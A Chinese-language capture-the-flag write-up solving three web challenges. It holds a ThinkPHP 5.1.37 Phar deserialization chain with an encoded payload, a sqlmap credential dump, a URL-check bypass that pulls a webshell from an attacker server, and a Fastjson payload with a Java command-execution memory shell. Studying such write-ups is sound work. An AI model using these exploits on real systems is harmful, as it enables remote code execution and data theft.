EZ_TP
www.zip源码泄漏,在控制器下可以看到hello控制器有一个可以利用变量覆盖触发Phar反序列化的地方:
public function hello()
{
highlight_file(__FILE__);
$hello = base64_encode('Welcome to D0g3');
if (isset($_GET['hello'])||isset($_POST['hello'])) exit;
if(isset($_REQUEST['world']))
{
parse_str($_REQUEST['world'],$haha);
extract($haha);
}
if (!isset($a)) {
$a = 'hello.txt';
}
$s = base64_decode($hello);
file_put_contents('hello.txt', $s);
if(isset($a))
{
echo (file_get_contents($a));
}
}
然后找一下ThinkPHP 5.1.37的反序列化漏洞,用exp来生成一个phar包:
<!--?php
namespace think;
abstract class Model
{
protected $append = [];
private $data = [];
function __construct()
{
$this--->append = ["ethan" => ["dir", "calc"]];
$this->data = ["ethan" => new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
'var_method' => '_method',
'var_ajax' => '_ajax',
'var_pjax' => '_pjax',
'var_pathinfo' => 's',
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
'default_filter' => '',
'url_domain_root' => '',
'https_agent_name' => '',
'http_agent_ip' => 'HTTP_X_REAL_IP',
'url_html_suffix' => 'html',
];
function __construct()
{
$this->filter = "system";
$this->config = ["var_ajax" => ''];
$this->hook = ["visible" => [$this, "isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
use think\process\pipes\Windows;
$a = new Windows();
@unlink('phar.phar');
$phar = new \Phar("phar.phar");
$phar->startBuffering();
$phar->setStub(" __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
写个python脚本读取一下Phar包的内容然后对其进行base64编码:
import base64
f = open('phar.phar','rb')
text = f.read()
f.close()
payload = base64.b64encode(text)
print(str(payload))
#IF9fSEFMVF9DT01QSUxFUigpOyA%2FPg0KwQEAAAEAAAARAAAAAQAAAAAAiwEAAE86Mjc6InRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cyI6MTp7czozNDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlcyI7YToxOntpOjA7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjI6e3M6OToiACoAYXBwZW5kIjthOjE6e3M6NToiZXRoYW4iO2E6Mjp7aTowO3M6MzoiZGlyIjtpOjE7czo0OiJjYWxjIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NToiZXRoYW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fX19fX19CAAAAHRlc3QudHh0BAAAAOXGoWEEAAAADH5%2F2KQBAAAAAAAAdGVzdBR0TzqYRzNuS2fEDAKxuqUUUlooAgAAAEdCTUI%3D
然后就是构造变量覆盖,写入phar文件,一定要对world后面的data进行URL编码:
/index.php/index/index/hello?id=cat%20/y0u_f0und_It
POST:
world=a=phar://hello.txt%26hello=IF9fSEFMVF9DT01QSUxFUigpOyA%2FPg0KwQEAAAEAAAARAAAAAQAAAAAAiwEAAE86Mjc6InRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cyI6MTp7czozNDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlcyI7YToxOntpOjA7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjI6e3M6OToiACoAYXBwZW5kIjthOjE6e3M6NToiZXRoYW4iO2E6Mjp7aTowO3M6MzoiZGlyIjtpOjE7czo0OiJjYWxjIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NToiZXRoYW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fX19fX19CAAAAHRlc3QudHh0BAAAAOXGoWEEAAAADH5%2F2KQBAAAAAAAAdGVzdBR0TzqYRzNuS2fEDAKxuqUUUlooAgAAAEdCTUI%3D
EZ_CMS
前端存在一个没有过滤的SQL注入点:
GET /Core/Program/Ant_Aajx.php?Antype=totalSession&price=10 HTTP/1.1
Host: 81.69.27.32:8888
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=eq70pt4ml3pkn619221laj76k4; __atuvc=1%7C47; __atuvs=61a1c0e3bd23a961000; CurID=*
Connection: close
然后直接sqlmap注入就可以:
python sqlmap.py -r 1.txt --dbms MySQL --level 2 --dump -T sc_user -C user_admin,user_ps
得到用户名和密码都是admin888
,就可以登陆后台
通过审计代码在CxWsbN_AR4/Ant_Curl.php
下可以看到:
if (!empty($url)){
$fn = explode("/", $url);
$filename =end($fn);
$fndir = str_replace(".zip", "", $filename);
//下载目录
$save_dir = "../Soft/Zip/";
//解压目录
$open_dir = "../Soft/Uzip/";
//备份目录
$bak_dir = "../Soft/Bak/";
//下载文件
$result =getFile($url, $save_dir, $filename,1);
跟进getFile()
方法,在CxWsbN_AR4/Ant_Function.php
中找到相关定义:
function getFile($url, $save_dir = '', $filename = '', $type = 0)
{
if (trim($url) == '') {
return false;
}
if (trim($save_dir) == '') {
$save_dir = './';
}
if (0 !== strrpos($save_dir, '/')) {
$save_dir.= '/';
}
//创建保存目录
if (!file_exists($save_dir) && !mkdir($save_dir, 0777, true)) {
return false;
}
//获取远程文件所采用的方法
if ($type) {
$ch = curl_init();
$timeout = 60;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_ENCODING,'gzip');
$content = curl_exec($ch);
curl_close($ch);
} else {
ob_start();
readfile($url);
$content = ob_get_contents();
ob_end_clean();
}
$fp2 = @fopen($save_dir.$filename, 'a');
fwrite($fp2, $content);
fclose($fp2);
unset($content, $url);
if (file_exists($save_dir.$filename)){
$size = filesize($save_dir.$filename);
if ( $size<100){
return false;
exit;
}else{
return true;
}
}else{
return false;
}
}
可以curl,也就是说我们可以通过这个功能来下载下来任意文件,但是在CxWsbN_AR4/Ant_Curl.php
调用getFile()
方法前还有一段检测:
if (isset($_GET['url'])){
$dname=explode("/", $_GET['url']);
if(strpos($dname[2],'sem-cms.cn') !== false){
$url=$_GET['url'];
}else{
echo("<script language='javascript'>alert('非法操作');window.history.back(-1);</script>");
exit;
}
}else{
$url="";
}
对url进行了检查,但是我们依旧可以利用curl的一些性质来进行绕过,
构造出http://sem-cms.cn@ip/shell.php
即可从VPS上下载shell到服务器上
JSON
/proc/self/fd/6 是源代码。下载打开后发现/json路由下面可以到parse的点
参考https://github.com/Firebasky/Fastjson 可以构建出如下的初步payload
Poc={"a":{"@type":"java.lang.Class","val":"App.Exec"},"b":{"@type":"java.util.Currency","val":{"currency":{"abc":{"@type":"java.util.Map","aaa":{"@type":"App.Exec","ClassByte":"","cmd":"calc"}}}}}}
然后发现没有权写文件和出网,考虑内存马回显
package App;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.UnsupportedEncodingException;
public class echoevil{
static {
HttpServletRequest request =((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getResponse();
String resHeader=request.getParameter ( "cmd" );
java.io.InputStream in = null;
try {
in = Runtime.getRuntime().exec(resHeader).getInputStream();
} catch (IOException e) {
e.printStackTrace();
}
BufferedReader br = null;
try {
br = new BufferedReader (new InputStreamReader(in, "GBK"));
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
String line = null;
StringBuilder sb = new StringBuilder();
while (true) {
try {
if (!((line = br.readLine()) != null)) break;
} catch (IOException e) {
e.printStackTrace();
}
sb.append(line);
sb.append("\n");
}
java.io.PrintWriter out = null;
try {
out = new java.io.PrintWriter(response.getOutputStream());
} catch (IOException e) {
e.printStackTrace();
}
out.write(sb.toString ());
out.flush();
out.close();
}
public void Exec(String cmd)throws Exception{
Runtime.getRuntime().exec(cmd);
}
}
生成一下,就可以RCE